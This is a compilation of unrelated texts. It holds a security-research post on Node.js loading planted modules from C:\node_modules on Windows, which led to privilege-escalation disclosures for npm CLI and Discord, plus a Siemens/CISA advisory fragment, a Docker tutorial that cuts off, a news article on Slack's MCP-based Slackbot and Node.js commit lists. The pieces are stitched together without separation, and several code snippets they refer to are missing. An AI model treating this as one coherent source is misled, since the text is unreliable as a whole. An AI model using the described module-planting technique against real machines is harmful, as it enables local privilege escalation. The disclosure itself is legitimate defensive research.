The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in C:\node_modules as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.

This issue is not new. Concerned discussions about Node.js's module search path behavior date back to 2013 and 2014.

Node.js has explicitly stated that they consider this behavior intentional:

"Node.js trusts the file system."

They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers.

As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.

Root Cause

The root cause lies in the way Node.js performs module resolution. This is documented here. Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.

When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:

1. C:\Users\Administrator\projects\node_modules\bar.js
2. C:\Users\Administrator\node_modules\bar.js
3. C:\Users\node_modules\bar.js
4. C:\node_modules\bar.js <-- The problem

If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create C:\node_modules and place a malicious package there. Once the low-privileged user has populated C:\node_modules\bar.js, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s guidelines, third-party dependencies end up triggering this vulnerability anytime you launch the application.

Case Studies: Real-World Manifestations

The Optional Dependency Pattern: npm supports optional dependencies to be specified in the project’s package.json file. The recommended pattern for checking for these dependencies is as follows:

This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to C:\node_modules where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where /node_modules at the filesystem root is typically only writable by root. Windows systems by default allow any user to create C:\node_modules. Once require is called, Node.js will traverse the search path and execute any matching module it finds.

Important things to note:

1. This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.
2. There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.
3. The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in C:\node_modules.

Let’s take a deeper look at both cases and see why this is so dangerous.

Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775).

Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”.

When Node.js is installed on the system, npm is included by default without the bluebird package. This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (https://github.com/npm/cli/pull/1438/changes), demonstrating how easy it is for developers to unknowingly create this attack surface.

We can see Node’s package resolution logic at work in the screenshot below:

First, the application looks for the bluebird.js package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed C:\node_modules\bluebird.js, the require call will find, read, and execute the malicious payload in the context of any user running npm on the system.

This vulnerability is especially dangerous because it is triggered when many npm * cli commands are used. Common development commands such as npm install, npm –l, and npm prune will all execute the malicious bluebird.jspackage.

Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)

On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:

Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled C:\node_modules\utf-8-validate.js is executed.

The ws library does support disabling this check via the WS_NO_UTF_8_VALIDATE environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:

Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues.

The Bigger Picture

The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in Mongo DB Compass and Mongo DB Shell are just two other examples.

Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.

Each vendor has clearly stated that they will not treat these issues as vulnerabilities:

NPM’s response to our report:

“exploits that require local access to a machine are considered ineligible for npm CLI

Discord’s response to our report:

“We do not consider physical/local attacks as valid security issues”

Node.js, in the “Examples of non-vulnerabilities” section of their Security Policy:

“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.”

Conclusion

The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to C:\node_modules. Without a fix from Node.js, the burden silently falls on application developers.

Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI.

We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at @bobbygould5 and @izobashi, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

DISCLOSURE TIMELINES

NPM CLI:

2024-11-13 – ZDI submitted the report to the vendor

2024-11-13 – The vendor acknowledged the receipt of the report

2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues

2025-08-05 – ZDI encouraged the vendor to re-assess the issue

2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory

DISCORD:

2025-07-08 – ZDI notified vendor

2025-09-11 – ZDI followed up with vendor

2025-09-15 – Vendor stated they do not consider local attacks as valid security issues

2025-12-01 – ZDI explained why we believe the issue is still valid

2025-12-10 – Vendor replied that the vulnerability is still out of scope 

2025-12-11 – ZDI informed vendor of intent to publish 0-day 

REFERENCES

https://nodejs.org/api/modules.html#loading-from-node_modules-folders

https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies

https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1

https://github.com/nodejs/node-v0.x-archive/issues/8830

https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require

https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities

Summary

CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.

The following versions of Siemens CADRA are affected:

• CADRA vers:intdot/<2511, vers:all/* 

Background

• Critical Infrastructure Sectors: Chemical, Commercial Facilities, Communications, Energy
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Germany

Vulnerabilities

Acknowledgments

• Siemens ProductCERT reported these vulnerabilities to CISA.

General Recommendations

As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources

For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use

The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolate them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer

This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

Revision History

• Initial Release Date: 2026-07-14

Legal Notice and Terms of Use

As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.

That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.

A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the Open Container Initiative (OCI) and the virtualization layer switched from lxc to runc (also an OCI project).

The traditional way to build a Docker container is built into the docker tool and uses a sequence of special instructions usually in a file named Dockerfile to compile the source code and assemble the "layers" of a container image.

Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:

• Container Builders - Turn source code into a Container Image
• Container Images - Archive files containing a "runnable" application
• Containers - Run Container Images

With Java EE those three categories map to technologies like:

• Container Builders == Ant or Maven
• Container Images == .jar, .war, or .ear
• Containers == JBoss, WebSphere, WebLogic

With Docker / OCI those three categories map to technologies like:

• Container Builders == Dockerfile, Buildpacks, or Jib
• Container Images == .tar files usually not dealt with directly but through a "container registry"
• Containers == Docker, Kubernetes, Cloud Run

Java Sample Application

git clone https://github.com/jamesward/comparing-docker-methods.git

cd comparing-docker-methods

In that project you'll see a basic Java web server in src/main/java/com/google/WebApp.java that just responds with "hello, world" on a GET request to /. Here is the source:

The mechanism behind the expansion is a set of dedicated Model Context Protocol (MCP) servers from Salesforce that connect Slackbot to the company's Headless 360 infrastructure. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."

The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims 320 million-plus monthly active users and has Copilot embedded across the Office suite, and from Google, which continues to weave Gemini deeper into Workspace. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to replace Salesforce CRM entirely — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.

Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.

Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground

Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.

"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."

The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.

"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.

Slack's answer is to make Slackbot the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.

How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities

The technical backbone of the announcement is the Model Context Protocol, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by Claude Code, Cursor, GitHub Copilot, and OpenAI's tooling, with managed hosting available from AWS, Cloudflare, and Vercel. As a DEV Community explainer puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."

In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.

Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."

That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.

Salesforce first introduced the Headless 360 concept at its TDX developer conference in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As CIO.com reported at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."

Slack says it's betting on openness, not on any single AI protocol

When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.

"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."

That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts more than 2,600 app integrations. The new MCP-native partner ecosystem includes Atlassian, Box, DocuSign, Canva, Lucid, Zoom, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. MuleSoft Agent, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.

But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.

Inside Slack's complicated relationship with Anthropic and the Claude question

Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind Claude — and one of Slack's most visible power users. Just last week, Anthropic launched Claude Tag, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported internal anxiety about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.

Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.

"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.

"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.

His argument is that feature overlap between Slackbot, Claude Tag, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.

"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.

The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.

How Slack plans to compete with Microsoft Teams and Google in the AI era

Asked directly about competitive positioning against Microsoft Teams and Google Workspace, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.

"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."

He cited Shopify as an example, where an internal AI agent called River is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a Fortune report noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."

The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called Viktor, which embeds AI agents inside Slack and Teams workspaces, recently raised a $75 million Series A led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.

Box, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.

Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company

Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.

For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.

"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."

He cited Engine, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."

The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.

What analysts and CIOs should watch as Slack rolls out its biggest AI update yet

The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.

First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley cautioned when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."

Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.

Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like Anthropic and OpenAI into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.

And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.

Salesforce reported record first-quarter revenue of $11.1 billion in fiscal Q1 2027, with Agentforce ARR surpassing $1 billion for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.

"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.

Five years ago, Salesforce paid $27.7 billion for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.

New release key

Welcome to our newest releaser, Stewart X Addison. Future Node.js releases may be signed with his release key, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD.

Other notable changes

• [55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036
• [b373202efc] - (SEMVER-MINOR) esm: add --experimental-import-text flag (Efe) #62300
• [39e0c14455] - (SEMVER-MINOR) perf_hooks: sample delay per event loop iteration (Pablo Erhard) #62935
• [999a83c937] - (SEMVER-MINOR) stream: expose ReadableStreamTee (Matteo Collina) #64195
• [4e0236dc3d] - (SEMVER-MINOR) tls: report negotiated TLS groups (Filip Skokan) #64119

Commits

• [87648c0a6c] - benchmark: trim down the argon2 sets (Filip Skokan) #64218
• [a483bfd3f0] - buffer: remove unreachable overflow check in atob (haramjeong) #60161
• [6d14279688] - buffer: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) #64169
• [55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036
• [a67d9a7a44] - build: allow linting node.1 (Aviv Keller) #64157
• [06c1fbc25b] - build: enable Maglev for riscv64 (Jamie Magee) #62605
• [518309c363] - build: suppress clang errors building libffi on Windows (René) #64222
• [6a80ab485c] - build: add manually-dispatched stress-test workflow (Joyee Cheung) #64118
• [f4e7bf1f1c] - build: pin envinfo versions in github actions (Joyee Cheung) #64117
• [66f6ac0d86] - build: support setting an emulator from configure script (Ivan Trubach) #53899
• [7f26c54aa6] - child_process: fix permission model propagation via NODE_OPTIONS (Matteo Collina) #63972
• [32bb554f5b] - crypto: fix large DH generator validation (Tobias Nießen) #64092
• [0908d76ef6] - crypto: reject small-order EdDSA points during verify (Filip Skokan) #64026
• [7f7e5863c2] - deps: update undici to 8.7.0 (Node.js GitHub Bot) #64282
• [af91029801] - deps: update nghttp3 to 1.17.0 (Node.js GitHub Bot) #64182
• [2e500ba7b0] - deps: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) #64181
• [74e3aa24ba] - deps: update sqlite to 3.53.3 (Node.js GitHub Bot) #64180
• [c7e57f55a7] - deps: c-ares: cherry-pick 8ba37af8e3fb (René) #64110
• [879fdc4daf] - deps: V8: backport da20a197a7f9 (Kevin Gibbons) #64101
• [a640543a7c] - deps: V8: cherry-pick 0cc9eb22c0b0 (Kevin Gibbons) #64101
• [feefd179e5] - deps: V8: cherry-pick 1a391f98cc7a (Kevin Gibbons) #64101
• [8ef643d4b0] - deps: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) #64039
• [9e50bb0655] - dgram: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) #64133
• [dc052c095c] - diagnostics_channel: return original thenable (Stephen Belanger) #62407
• [a22a840293] - doc: clarify QUIC stream state wording (EduardF1) #63660
• [8d4bec2d71] - doc: update Http2SecureServer.on("timeout") default value (YuSheng Chen) #64187
• [da88f70afa] - doc: add note on visibility of CI failures to new contributor guide (Stewart X Addison) #64256
• [20ce359ccb] - doc: clarify HTTP/1.1 response ordering (Matteo Collina) #64213
• [05eae2835c] - doc: recommend node-stress-single-test for flaky tests (Trivikram Kamat) #64223
• [3966eb67e7] - doc: fix typo in examples (Vas Sudanagunta) #64184
• [12a2b9daa3] - doc: fix typo in node-config-schema.json (Hamid Reza Ghavami) #64188
• [0854482671] - doc: clarify defense-in-depth issues (Matteo Collina) #64215
• [ef4915fc3a] - doc: fix Fast FFI argument count in ffi.md (Daijiro Wachi) #63960
• [bb2eed863c] - doc: add sxa GPG key (ed25519) (Stewart X Addison) #64193
• [b7bf6e3a06] - doc: add guide and answers to FAQs for first-time contributors (Joyee Cheung) #63685
• [ff537ba858] - doc: update Http2Server.close & Http2SecureServer.close (YuSheng Chen) #63298
• [f3db304588] - doc: update list of people in SECURITY.md (Richard Lau) #64152
• [2a126647b0] - doc: clarify vfs is not a sandbox (Matteo Collina) #64143
• [85fc79dd9b] - doc: fix broken links and duplicate stability label (Antoine du Hamel) #64130
• [189e830eb3] - doc: add missing option to man page (Richard Lau) #64156
• [7a16ccccd0] - doc: announce upcoming end of tier 2 support for macOS x64 (Antoine du Hamel) #63931
• [d5f826045f] - doc: update toolchain for official AIX releases (Richard Lau) #64068
• [60abc4400f] - doc: fix callback example import in fs docs (Kamal Rawal) #63912
• [e470c74a6c] - doc: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) #63974
• [851b460583] - esm: improve ERR_REQUIRE_ASYNC_MODULE (Joyee Cheung) #64260
• [0cd443df39] - esm: print required top-level await locations without evaluating (Joyee Cheung) #64154
• [b373202efc] - (SEMVER-MINOR) esm: add --experimental-import-text flag (Efe) #62300
• [eacfbd0ca5] - http: add CONNECT method handling for default Host header with proxy (Archkon) #64114
• [aeb539a383] - http: fix drain event with cork/uncork (David Evans) #64038
• [8e8874b216] - http: document and validate options.path when it's in absolute-form (Joyee Cheung) #64108
• [eb2e96bc28] - inspector: fix crash when writing to closed inspector socket (ympark2011) #64209
• [243b0e4e57] - lib: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) #64174
• [34a537c0ed] - lib: use __proto__: null when calling ObjectDefineProperty (Antoine du Hamel) #64239
• [1f72393f19] - lib: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) #63702
• [92a3dc3191] - lib,permission: fix addon permission drop (Martin Wagner) #64007
• [87b8f2a296] - meta: fix linter warning in stale.yml (Antoine du Hamel) #64281
• [829c4a5913] - meta: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) #64248
• [0808dcd31c] - meta: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) #64247
• [64aa17058f] - meta: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) #64246
• [873d1e0412] - meta: bump actions/checkout from 6.0.2 to 7.0.0 (dependabot[bot]) #64245
• [fe460ccf0b] - meta: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) #64244
• [845c63ed50] - meta: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) #64243
• [2cad2d6de5] - meta: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) #64242
• [0ddde950c7] - meta: bump actions/setup-python from 6.2.0 to 6.3.0 (dependabot[bot]) #64241
• [c0a8760d2f] - meta: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) #64240
• [f49704b9d0] - meta: clarify V8 flags are outside threat model (Matteo Collina) #64224
• [6b8dc58e6e] - meta: move one or more collaborators to emeritus (Node.js GitHub Bot) #64057
• [fe5260cca7] - meta: update status of past strategic initiatives (Joyee Cheung) #63480
• [7b01040008] - meta: speed up stale bot (Aviv Keller) #64075
• [874c46c24f] - meta: update sccache version in test-linux-quic (René) #64043
• [48c5c86363] - module: enable import support for addons by default (Chengzhong Wu) #64221
• [39e0c14455] - (SEMVER-MINOR) perf_hooks: sample delay per event loop iteration (Pablo Erhard) #62935
• [f90f1bd032] - perf_hooks: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) #63877
• [bdf32628c7] - process: fix finalization cleanup ref tracking (Trivikram Kamat) #64087
• [9a65b7fff4] - quic: drop version negotiation packets with oversized CIDs (Mohamed Sayed) #64228
• [2699fe4706] - quic: fixes undefined handle in QuicStream kInspect (Marten Richter) #64170
• [00dea28bb3] - repl: lazy-load acorn and defer vm context creation (Daijiro Wachi) #63879
• [ce659a1cf9] - src: fix escaping of single quotes in task runner (Antoine du Hamel) #64089
• [dbb3126e5c] - src: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) #64053
• [12edf1d68d] - src: avoid redundant call to std::get_if<>() (Tobias Nießen) #64094
• [eda91b6d01] - src: avoid copying source string in TextEncoder.encode (Yagiz Nizipli) #63897
• [efbbb9a03c] - stream: preserve half-open duplexes in async iteration (Efe) #64275
• [999a83c937] - (SEMVER-MINOR) stream: expose ReadableStreamTee (Matteo Collina) #64195
• [ab5ed72903] - stream: reject iter consumers on abort (Trivikram Kamat) #64066
• [d3fa77c5e2] - stream: fix merge abort for pending sources (Trivikram Kamat) #64013
• [38b99140ed] - stream: refactor unnecessary optional chaining away (Antoine du Hamel) #64253
• [c81f894ebe] - stream: cut per-chunk overhead in WHATWG streams (Matteo Collina) #64252
• [f162234f24] - stream: normalize Broadcast.from() byte inputs (Trivikram Kamat) #64082
• [1182ad8f3b] - stream: proxy first own method in Readable.wrap() (Daijiro Wachi) #64048
• [d0b830b382] - stream: observe abort while awaiting pipeTo source (Trivikram Kamat) #64015
